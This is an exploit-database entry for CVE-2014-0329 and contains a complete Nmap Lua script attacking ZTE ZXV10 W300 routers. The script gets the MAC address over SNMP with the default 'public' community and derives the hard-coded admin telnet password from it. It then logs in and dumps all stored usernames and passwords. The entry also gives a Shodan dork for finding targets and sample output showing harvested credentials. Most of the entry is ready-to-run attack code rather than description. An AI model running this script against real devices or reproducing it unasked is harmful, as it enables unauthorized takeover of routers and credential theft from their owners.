ZTE ZXV10 W300 Router - Hard-Coded Credentials



EKU-ID: 36494 CVE: CVE-2014-0329;OSVDB-102816 OSVDB-ID:
Author: Cesar Neira Published: 2014-02-09 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


# Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage: http://wwwen.zte.com.cn/
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html


local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"

description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}

---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE         SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
--
-- Host script results:
-- | airocon:
-- |   VULNERABLE:
-- |   ZTE ZXV10 W300 router contains hardcoded credentials
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-0329
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |       service on the device. The username is "admin" and the password is "XXXXairocon"
-- |       where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |       is obtainable over SNMP with community string public.
-- |     Disclosure date: 2014-2-3
-- |     Exploit results:
-- |       admin:1234
-- |       support:1234
-- |       admin:0E91airocon
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- |       http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_      http://www.kb.cert.org/vuls/id/228886

-- @args community SNMP community (Default: public)
--
---


local DEFAULT_COMMUNITY = "public"


hostrule = function(host)
    local snmp_port, telnet_port

    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end

    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end

    return true
end


local get_mac = function(host, community)
	local socket, status, response

	socket = nmap.new_socket("udp")
	socket:set_timeout(5000)

	status, response = socket:connect(host, 161)

	if not status then
	    socket:close()
	    return status, response
	end

	local payload, request

	request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
	payload = snmp.encode(snmp.buildPacket(request, 0, community))

	status, response = socket:send(payload)

	if not status then
	    socket:close()
	    return status, response
	end

    status, response = socket:receive_bytes(1)

    if not status then
        socket:close()
        return status, response
    end

    socket:close()

    local result
	result = snmp.fetchFirst(response)

    if not result then
        return false, "Unexpected response value."
    end

    return true, stdnse.tohex(result)
end


local dump_creds = function(host, user, password)
    local socket, status, response

    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)

    status, response = socket:connect(host, 23)

    if not status then
        socket:close()
	    return status, response
	end

	local payload
	payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"

	status, response = socket:send(payload)

	if not status then
	    socket:close()
	    return status, response
	end

	status, response = socket:receive_buf("exit", false)

	if not status then
	    socket:close()
	    return status, response
	end

	socket:close()

	return true, response
end


local parse_response = function(response)
    local index

	index = string.find(response, "Username +Password +Priority")

	if not index then
	    return false, "Unexpected response value."
	end

	index = string.find(response, "\r\n", index) + 2
	response = string.sub(response, index)

    local result, endl, line
    result = {}

	index = 0
	endl = string.find(response, "\r\n", index)

	while endl do
	    line = string.sub(response, index, endl)
	    line = string.gsub(line, "\r", "")
        line = string.gsub(line, "^ +", "")
        line = string.gsub(line, " +$", "")
        line = string.gsub(line, " +", " ")

        local user, pass, prio
        for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
            local aux = {}
            aux['username'] = user
            aux['password'] = pass
            aux['priority'] = prio
            table.insert(result, aux)
        end

	    index = endl + 2
	    endl = string.find(response, "\r\n", index)
	end

    return true, result
end


action = function(host)
    local vuln = {
        title = "ZTE ZXV10 W300 router contains hardcoded credentials",
        state = vulns.STATE.NOT_VULN,
        IDS = {CVE = 'CVE-2014-0329'},
        risk_factor = "High",
        scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
        },
        description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
        references = {
            "http://www.kb.cert.org/vuls/id/228886",
            "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
        },
        dates = {
            disclosure = {year = 2014, month = 2, day = 3},
        },
        exploit_results = {},
    }

    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY

    local status, response

    status, response = get_mac(host, community)
    if not status then
        return response
    end

    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"

    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end

    status, response = parse_response( response )
    if not status then
        return response
    end

    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end

    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end